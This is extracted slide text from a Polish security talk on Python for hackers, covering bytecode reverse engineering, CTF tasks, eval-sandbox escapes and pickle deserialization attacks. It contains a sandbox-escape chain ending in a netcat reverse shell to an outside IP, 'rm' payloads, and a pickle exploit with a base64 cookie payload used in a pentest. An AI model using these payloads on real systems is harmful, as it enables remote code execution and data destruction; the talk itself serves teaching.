Python in a hacker's toolbox

v. 2016

Gynvael Coldwind Security PWNing Conference, Warszawa 2016 Keynote?

Raczej prelekcja techniczna. O prelegencie

All opinions expressed during this presentations are mine and mine alone. They are not opinions of my lawyer, barber and especially not my employer. Menu Sandboxing Język i VM

Bezpieczeństwo RE Ta prezentacja zawiera fragmenty

● Data, data, data...

● "On the battlefield with the dragons" (+ Mateusz Jurczyk)

● "Ataki na systemy i sieci komputerowe"

● "Pwning (sometimes) with style - Dragons' notes on CTFs" (+ Mateusz Jurczyk)

● "Python in a hacker's toolbox" Język i VM Python 2.6, 2.7, 3, CPython?, IronPython??, ???, oh my...

Python Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Język rozwijany przez Python Software Foundation

Python Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Język rozwijany przez Python Software Foundation

Python Python Enhancement Proposal (w skrócie: PEP) Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Język rozwijany przez Python Software Foundation

Python Python Enhancement Proposal (w skrócie: PEP) Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Implementacje

https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... CPython Brython CLPython Jython HotPy pyjs Python Implementacje PyMite PyPy pyvm SNAPpy RapydScript IronPython tinypy

https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Jython

Python Implementacje

https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... Brython

Python Implementacje

https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

Python Implementacje

IronPython

https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... CPython Implementacja wzorcowa

Python Implementacje

https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... CPython

2.7

3.X Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... O tym jest ta CPython prezentacja

2.7

3.X Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

2c-python Compyler Python Kompilatory GCC Nuitka Pyc unPython

https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...

py2app PyInstaller Bundlery cx_Freeze Python ("freezery") py2exe bbfreeze

http://tynecki.pl/pdf/A-comparison-of-reverse-engineering-methods-for-Python-compiled-binaries-Piotr-Tynecki.pdf Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV)

http://gynvael.coldwind.pl/?id=599 Python jako język programowania

obiektowy dynamicznie typowany bardzo rozsądne inty masa bibliotek świetna introspekcja RE PY → PYC → PY def func(a): python -m compileall simple.py print(a+1) func(41) >>> print( PY → PYC → PY datetime.datetime.fromtimestamp(0x58206240)) 2016-11-07 12:15:12 znak nowej linii sygnatura wersji timestamp PY → PYC → PY zserializowany obiekt klasy code PY → PYC → PY >>> import marshal >>> marshal.loads(open("simple.pyc").read()[8:]) at 0x7fdcd3fa66b0, file "simple.py", line 1> PY → PYC → PY >>> import marshal >>> marshal.loads(open("simple.pyc").read()[8:]) at 0x7fdcd3fa66b0, file "simple.py", line 1>

kod bajtowy maszyny stosowej

>>> import dis >>> dis.dis() 1 0 LOAD_CONST 0 () 3 MAKE_FUNCTION 0 6 STORE_NAME 0 (func)

4 9 LOAD_NAME 0 (func) 12 LOAD_CONST 1 (41) 15 CALL_FUNCTION 1 18 POP_TOP 19 LOAD_CONST 2 (None) 22 RETURN_VALUE PY → PYC → PY

func = MAKE_FUNCTION(CONST[0])

func(41) return None

>>> import dis >>> dis.dis(c) 1 0 LOAD_CONST 0 () 3 MAKE_FUNCTION 0 6 STORE_NAME 0 (func)

4 9 LOAD_NAME 0 (func) 12 LOAD_CONST 1 (41) 15 CALL_FUNCTION 1 18 POP_TOP 19 LOAD_CONST 2 (None) 22 RETURN_VALUE PY → PYC → PY

func = MAKE_FUNCTION(CONST[0])

>>> dis.dis(c.co_consts[0]) 2 0 LOAD_FAST 0 (a) 3 LOAD_CONST 1 (1) 6 BINARY_ADD 7 PRINT_ITEM 8 PRINT_NEWLINE 9 LOAD_CONST 0 (None) 12 RETURN_VALUE PY → PYC → PY

func = MAKE_FUNCTION(CONST[0])

print(a+1) return None

>>> dis.dis(c.co_consts[0]) 2 0 LOAD_FAST 0 (a) 3 LOAD_CONST 1 (1) 6 BINARY_ADD 7 PRINT_ITEM 8 PRINT_NEWLINE 9 LOAD_CONST 0 (None) 12 RETURN_VALUE PY → PYC → PY

def func(a): def func(a): print(a+1) print(a+1) return None

func(41) func(41) return None

Easy Python Decompiler - https://sourceforge.net/projects/easypythondecompiler/ Decompyle++: https://github.com/zrax/pycdc uncompyle2: https://github.com/Mysterie/uncompyle2 Kod bajtowy a wersje CPython

http://gynvael.coldwind.pl/rebook/py_opcodes.html Przykład RE What’s wrong with this? (Hack.lu 2013, 250)

hello.tar What’s wrong with this? (Hack.lu 2013, 250)

library.zip

... __main__hello__.pyc ... What’s wrong with this? (Hack.lu 2013, 250)

__main__hello__.pyc http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html

[Names] 'sys' 'hashlib' 'sha256' 'dis' 'multiprocessing' 'UserList' 'encrypt_string' 'rot_chr' 'SECRET' 'argv' What’s wrong with this? (Hack.lu 2013, 250)

__main__hello__.pyc http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html

[Names] [Code] 'sys' Object Name: encrypt_string 'hashlib' ... 'sha256' [Disassembly] 'dis' 0 BUILD_LIST 0 'multiprocessing' 3 STORE_FAST 1: new_str 'UserList' 6 SETUP_LOOP 99 (to 108) 'encrypt_string' 9 LOAD_GLOBAL 0: enumerate 'rot_chr' 12 LOAD_FAST 0: s 'SECRET' 15 CALL_FUNCTION 1 'argv' 18 What’s wrong with this? (Hack.lu 2013, 250)

__main__hello__.pyc http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html

# Source Generated with Decompyle++ [Names] # File: __main__hello__.pyc (...) 'sys' 'hashlib' import sys 'sha256' import dis 'dis' import multiprocessing 'multiprocessing' import UserList 'UserList' 'encrypt_string' def encrypt_string(s): 'rot_chr' pass 'SECRET' # WARNING: Decompyle incomplete 'argv' What’s wrong with this? (Hack.lu 2013, 250)

Autorzy zadania zmodyfikowali kod bajtowy CPython. What’s wrong with this? (Hack.lu 2013, 250)

Autorzy zadania zmodyfikowali kod bajtowy CPython. Na przykład:

... 114 LOAD_FAST 1: new_str 117 CALL_FUNCTION 1 120 IMPORT_STAR What’s wrong with this? (Hack.lu 2013, 250)

Autorzy zadania zmodyfikowali kod bajtowy CPython. Na przykład:

... 114 LOAD_FAST 1: new_str 117 CALL_FUNCTION 1 120 IMPORT_STAR

#define RETURN_VALUE 83 #define IMPORT_STAR 84 What’s wrong with this? (Hack.lu 2013, 250)

53 ↔ 54

62 ↔ 63

44 ↔ 45

19 ↔ 18

57 ↔ 58 What’s wrong with this? (Hack.lu 2013, 250)

53 ↔ 54 DELETE_SLICE vs STORE_MAP

62 ↔ 63 BINARY_LSHIFT vs BINARY_RSHIFT

44 ↔ 45 ? vs ?

19 ↔ 18 BINARY_POWER vs ?

57 ↔ 58 INPLACE_MULTIPLY vs INPLACE_DIVIDE What’s wrong with this? (Hack.lu 2013, 250)

BUILD_LIST 0 STORE_FAST 1 (new_str) encrypt_string

SETUP_LOOP 98 (to 107) ... GET_ITER

FOR_ITER 85 (to 107)

... COMPARE_OP 2 (==) POP_BLOCK POP_JUMP_IF_FALSE 68 ... RETURN_VALUE

LOAD_FAST 1 (new_str) LOAD_FAST 1 (new_str) ...... JUMP_ABSOLUTE 19 JUMP_ABSOLUTE 19 What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 LOAD_CONST 1 (33) BINARY_SUB LOAD_FAST 1 (amount) BINARY_ADD LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 LOAD_CONST 1 (33) BINARY_SUB LOAD_FAST 1 (amount) BINARY_ADD LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 LOAD_CONST 1 (33) BINARY_SUB LOAD_FAST 1 (amount) BINARY_ADD LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) BINARY_SUB LOAD_FAST 1 (amount) BINARY_ADD LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB LOAD_FAST 1 (amount) BINARY_ADD LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB ord(c)-33 LOAD_FAST 1 (amount) BINARY_ADD LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB ord(c)-33 LOAD_FAST 1 (amount) ord(c)-33 BINARY_ADD LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB ord(c)-33 LOAD_FAST 1 (amount) ord(c)-33 BINARY_ADD ord(c)-33+amount LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB ord(c)-33 LOAD_FAST 1 (amount) ord(c)-33 BINARY_ADD ord(c)-33+amount LOAD_CONST 2 (94) ord(c)-33+amount <94> BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB ord(c)-33 LOAD_FAST 1 (amount) ord(c)-33 BINARY_ADD ord(c)-33+amount LOAD_CONST 2 (94) ord(c)-33+amount <94> BINARY_MODULE (ord(c)-33+amount) % 94 LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB ord(c)-33 LOAD_FAST 1 (amount) ord(c)-33 BINARY_ADD ord(c)-33+amount LOAD_CONST 2 (94) ord(c)-33+amount <94> BINARY_MODULE (ord(c)-33+amount) % 94 LOAD_CONST 1 (33) (ord(c)-33+amount) % 94 <33> BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB ord(c)-33 LOAD_FAST 1 (amount) ord(c)-33 BINARY_ADD ord(c)-33+amount LOAD_CONST 2 (94) ord(c)-33+amount <94> BINARY_MODULE (ord(c)-33+amount) % 94 LOAD_CONST 1 (33) (ord(c)-33+amount) % 94 <33> BINARY_ADD (ord(c)-33+amount) % 94 + 33 CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB ord(c)-33 LOAD_FAST 1 (amount) ord(c)-33 BINARY_ADD ord(c)-33+amount LOAD_CONST 2 (94) ord(c)-33+amount <94> BINARY_MODULE (ord(c)-33+amount) % 94 LOAD_CONST 1 (33) (ord(c)-33+amount) % 94 <33> BINARY_ADD (ord(c)-33+amount) % 94 + 33 CALL_FUNCTION 0 chr((ord(c)-33+amount) % 94 + 33) RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 ord(c) LOAD_CONST 1 (33) ord(c) <33> BINARY_SUB ord(c)-33 LOAD_FAST 1 (amount) ord(c)-33 BINARY_ADD ord(c)-33+amount LOAD_CONST 2 (94) ord(c)-33+amount <94> BINARY_MODULE (ord(c)-33+amount) % 94 LOAD_CONST 1 (33) (ord(c)-33+amount) % 94 <33> BINARY_ADD (ord(c)-33+amount) % 94 + 33 CALL_FUNCTION 0 chr((ord(c)-33+amount) % 94 + 33) RETURN_VALUE return chr(ord(c)-33+amount) % 94 + 33) What’s wrong with this? (Hack.lu 2013, 250)

def rot_xchr(c, amount): if amount < 0: amount += 94 return chr(((ord(c) - 33) + amount) % 94 + 33)

SECRET = 'w*0;CNU[\\gwPWk}3:PWk"#&:ABu/:Hi,M'

x = rot_xchr(SECRET[0], -10) i = 0 for ch in SECRET[1:]: x += rot_xchr(ch, -ord(SECRET[i])) i += 1 print x RE dla odważnych (zadanie domowe) Zadanie domowe dla chętnych

http://gynvael.coldwind.pl/?id=602 Sandboxing Sandoxing? eval("kod do wykonania", {środowisko globalne}, {środowisko lokalne})

UWAGA: Tego typu sandboxing NIE DZIAŁA. >>> eval("open('asdf')", {"__builtins__":{}}, {}) Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'open' is not defined Sandboxing - przykład 1 „Sandbox” (jedynie ilustracja)

Kalkulator Prosty widget na stronie. „Sandbox”

POST /calc HTTP/1.1 {"formula": "6*9"}

HTTP SERVER

HTTP/1.1 200 OK {"result": "42"} „Sandbox”

POST /calc HTTP/1.1 {"formula": "0/0"}

HTTP SERVER

HTTP/1.1 200 OK {"error": "ZeroDivisionError"} „Sandbox” ?

1+open("/etc/passwd")+1 ? ?

Damn Kids! NameError TypeError Get Off My Lawn! „Sandbox”

1+open("/etc/passwd")+1

NameError „Sandbox” ?

1+len([1,1,1])+1 ? ?

Damn Kids! NameError 5 Get Off My Lawn! „Sandbox”

1+len([1,1,1])+1

Prawdopodobnie sandbox typu: eval("formula", {"__builtins__": None, "sin": math.sin, NameError ... }, # Globals {}) # Locals „Sandbox” ?

1+[1,1,1].__len__()+1 ? ?

Damn Kids! NameError 5 Get Off My Lawn! „Sandbox”

1+[1,1,1].__len__()+1

5 „Sandbox”

{}

dir(formula)

['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', {} '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues'] „Sandbox”

{}.__class__

dir(formula)

['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues'] + hidden: __base__ „Sandbox”

{}.__class__.__base__

dir(formula)

['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] + hidden: __subclasses__ „Sandbox”

{}.__class__.__base__ .__subclasses__

dir(formula)

['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] „Sandbox”

{}.__class__.__base__ .__subclasses__()

dir(formula)

[, , , , , , , , , , , , , , '__delattr__', '__delitem__', '__delslice__', , , , , , , , , , , , , , , , , , , , '__getattribute__', '__getitem__', , , , , , , , '__getslice__', '__gt__', '__hash__', , , , , , , , , , , , , , , , '__iter__', '__le__', '__len__', '__lt__', , , , '__mul__', '__ne__', '__new__', '__reduce__', , , , , , '__setslice__', '__sizeof__', '__str__', , , , , , , , , , , , , ] 'reverse', 'sort'] „Sandbox” zależne od wersji i środowiska

{}.__class__.__base__ .__subclasses__()[59]

dir(formula)

['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__'] „Sandbox”

{}.__class__.__base__ .__subclasses__()[59]()

dir(formula)

['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', catch_warnings() '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_entered', '_module', '_record'] „Sandbox”

{}.__class__.__base__ .__subclasses__()[59]()._module

dir(formula)

['WarningMessage', '_OptionError', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_getaction', '_getcategory', 'filterwarnings', 'formatwarning', 'linecache', 'once_registry', 'onceregistry', 'resetwarnings', 'showwarning', 'simplefilter', 'sys', 'types', 'warn', 'warn_explicit', 'warnpy3k'] „Sandbox” {}.__class__.__base__ .__subclasses__()[59]()._module .__builtins__

dir(formula)

[...], 'ArithmeticError': , 'str': '__delattr__', '__delitem__', '__doc__', , 'property': , 'GeneratorExit': , 'int': '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', , '__import__': '__reduce__', '__reduce_ex__', '__repr__', , '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'KeyError': , 'coerce': 'iteritems', 'iterkeys', 'itervalues', 'keys', , [...] 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', (6195 bytes) 'viewvalues'] „Sandbox” {}.__class__.__base__ .__subclasses__()[59]()._module .__builtins__['__import__']

dir(formula)

['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] „Sandbox”

Ender's game...

{}.__class__.__base__ .__subclasses__()[59]()._module .__builtins__['__import__'] „Sandbox”

Ender's game...

{}.__class__.__base__ .__subclasses__()[59]()._module ('os') .__builtins__['__import__'] „Sandbox”

Ender's game...

{}.__class__.__base__ .__subclasses__()[59]()._module ('os') .system .__builtins__['__import__'] „Sandbox”

Ender's game...

{}.__class__.__base__ ('nc.traditional -e .__subclasses__()[59]()._module ('os') .system /bin/bash .__builtins__['__import__'] 93.184.216.34 31337') „Sandbox”

Ender's game...

{}.__class__.__base__ ('nc.traditional -e .__subclasses__()[59]()._module ('os') .system /bin/bash .__builtins__['__import__'] 93.184.216.34 31337') „Sandbox”

Patrz również: http://gynvael.coldwind.pl/n/python_sandbox_escape Dygresja Zasłyszana zabawna historia

Dawno, dawno temu, za siedmioma górami był sobie spammer... Zasłyszana zabawna historia

Quiz! Jak spammer rozwiązywał captcha? A. Zaimplementował parser, konwersje z notacji infiksowej na odwrotną notację polską, a potem użył maszyny stosowej by wyliczyć wynik B. Użył eval() Zasłyszana zabawna historia

Quiz! Rozwiązanie: Z jakiegoś powodu CAPTCHA: 1+__import__('os').system('rm *')+1 podobno rozwiązała problem. Zasłyszana zabawna historia v1.5

<@Redford> LOL <@Redford> robię sobie programing 300 <@Redford> dostajesz serię wyrażeń i masz powiedzieć czy wynik jest całkowity <@Redford> i tak sobie już pareset zrobiłem w sumie <@Redford> i nagle dostaję do sprawdzenia: <@Redford> __import__('os').popen('rm -ri *').read() <@Redford> :D <@Redford> na szczęście miałem regexpa przed evalem który przed tym zabezpieczał :) Sandboxing - przykład 2 „Empty Sandbox” __nightmares__ (PlaidCTF 2014, 375) (q3k!)

Możesz wykonać dowolny kod. „Empty Sandbox” __nightmares__ (PlaidCTF 2014, 375) (q3k!)

Możesz wykonać dowolny kod.

Ale w środowisku jest tylko jeden global: stdout (+ słowa kluczowe) stdout stdout .__class__ stdout .__class__

stdout .__class__

('/proc/self/mem', 'r+') stdout .__class__

('/proc/self/mem', 'r+')

.seek() + .read() stdout .__class__

('/proc/self/mem', 'r+')

.seek() + .read()

read addr of system() in .got stdout .__class__

('/proc/self/mem', 'r+')

.seek() + .read()

read addr of system() in .got write it under fopen64() in .got stdout .__class__

('/proc/self/mem', 'r+')

.seek() + .read()

read addr of system() in .got write it under fopen64() in .got

('cat *') Sandoxing - podsumowanie

Bezpieczniej użyć nsjaila ;) Bezpieczeństwo Good news, ACLe w końcu poprawione! :) Listopad 2010 https://bugs.python.org/issue10491

BUILTIN\Users:(CI)(ID)(special access:) FILE_APPEND_DATA

DLL hijacking BUILTIN\Users:(CI)(ID)(special access:) FILE_WRITE_DATA Good news, ACLe w końcu poprawione! :) Listopad 2010 https://bugs.python.org/issue10491 Good news, ACLe w końcu poprawione! :) Wrzesień 2005 https://bugs.python.org/issue1284316 Good news, ACLe w końcu poprawione! :) Wrzesień 2005 https://bugs.python.org/issue1284316

"Lowering the priority; this is now a documented bug." Good news, ACLe w końcu poprawione! :) Wrzesień 2005 https://bugs.python.org/issue1284316

"Lowering the priority; this is now a documented bug." Kwiecień 2015

%LocalAppData%\Programs\Python\Python35 %ProgramFiles%\Python 3.5 Good news, ACLe w końcu poprawione! :) (?) Wrzesień 2005 https://bugs.python.org/issue1284316

"Lowering the priority; this is now a documented bug." Kwiecień 2015

%LocalAppData%\Programs\Python\Python35 %ProgramFiles%\Python 3.5

"Um, you know this still affects Python 2.7 right?" Bezpieczeństwo - Pickle Pickle - P is for pwned

Cel: Strona pewnej firmy (pentest) Pickle - P is for pwned

Rozglądając się do okoła znajdujemy: Ciasteczka! Pickle - P is for pwned

có ż to? state cookie: SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1 M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMA pTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARC H:KGRwMApTJ3NlYXJjaF9sYXN0JwpwMQpTIicgb3IgMT0xIC 0tIgpwMgpzLg==: Pickle - P is for pwned

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1 M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:

>>> sess.decode("base64") "(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS 'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\n p4\ns." Pickle - P is for pwned

(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS' SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np 4\ns.

>>> import pickle >>> pickle.loads(sess.decode("base64")) {'username': None, 'SID': '1cfccdb3388453f56ecca079115c6d61', 'login_time': None} Pickle - P is for pwned Pickle - P is for pwned

Deserializacja obiektów - krótki przegląd */JSON Nie obsługuje obiektów. Pickle - P is for pwned

Deserializacja obiektów - krótki przegląd PHP/unserialize "Statyczne" tworzenie obiektów. Wywołuje __wakeup(). Ostatecznie również __destruct(). Pickle - P is for pwned

Deserializacja obiektów - krótki przegląd Python/pickle Wywołuje wybrany konstruktor z wybranego modułu z wybranymi argumentami. np. subprocess.Popen Pickle - P is for pwned

# https://blog.nelhage.com/2011/03/exploiting-pickle/ class Exploit(object): def __reduce__(self): fd = 20 # ←------??? return (subprocess.Popen, (('/bin/sh',), # args 0, # bufsize None, # executable fd, fd, fd # std{in,out,err} )) print base64.b64encode(pickle.dumps(Exploit()))

Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIw CkkyMApJMjAKdHAzClJwNAou Pickle - P is for pwned

fd = 20

stdin (0) HTTP HTTP Connection stdout (1) /bin/sh Server 20 -> socket:[12345] stderr (2) Pickle - P is for pwned

state - wersja "poprawiona" SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1 M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMA pTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARC H:Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCn AxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou: Pickle - P is for pwned

IDDQD Bezpieczeństwo - Marshal Marshal - M is for ... nothing? Skryptowanie w skrócie GDB skryptowane w Pythonie

GDB ma cudowne Python API! Pobieranie wartości rejestrów jest naprawdę proste: import gdb print int(str(gdb.parse_and_eval("(void*)($rax)")).split(" ")[0], 16) GDB skryptowane w Pythonie

turututu (OCAML crackme, PHDays Quals CTF 2014) Stringi są przechowywane w pamięci jako linked lista def print_list(addr, next_off=8, mod=False): if addr == 1: ... print "

  • 0: 1" item = "%x" % item print "
  • --" print "
  • %2u: 0x%.16x ---> %s" % ( return i, r, item)

    i = -1 # Next. r = addr r = ExprAsInt("*(void**)(0x%x+%u)" % while r != 1: r, next_off)) i += 1 item = ExprAsInt("*(void**)0x%x" % r) print "

  • --" if mod != False: return item = mod(item) else: ... GDB skryptowane w Pythonie turututu (OCAML crackme, PHDays Quals CTF 2014)

    --- walk_through_list_rsi

  • 0: 0x0000000000621da0 ---> H [91 | 1]
  • 1: 0x0000000000621db8 ---> a [c3 | 1]
  • 2: 0x0000000000621dd0 ---> t [e9 | 1]
  • 3: 0x0000000000621de8 ---> r [e5 | 1]
  • 4: 0x0000000000621e00 ---> n [dd | 1]
  • 5: 0x0000000000621e18 ---> D [89 | 1]
  • 6: 0x0000000000621e30 ---> y [f3 | 1]
  • 7: 0x0000000000621e48 ---> r [e5 | 1]
  • 8: 0x0000000000621e60 ---> t [e9 | 1]
  • -- Python i inne debuggery

    ● Wiele debuggerów jest skryptowalne. ○ Zazwyczaj w Pythonie :)

    ● Przykłady: ○ Python for Windbg ○ ImmunityDbg ○ IDA ○ x64dbg (x64dbgpy) ○ Binary Ninja

    Moja ulubiona biblioteka telnetlib

    import telnetlib ... t = telnetlib.Telnet() t.sock = s t.interact() Python i ROP ROP 101 C/C++/ObjC

    Stare dobre przepełnienie bufora

    stos wątku

    RETURN ...... ADDRESS

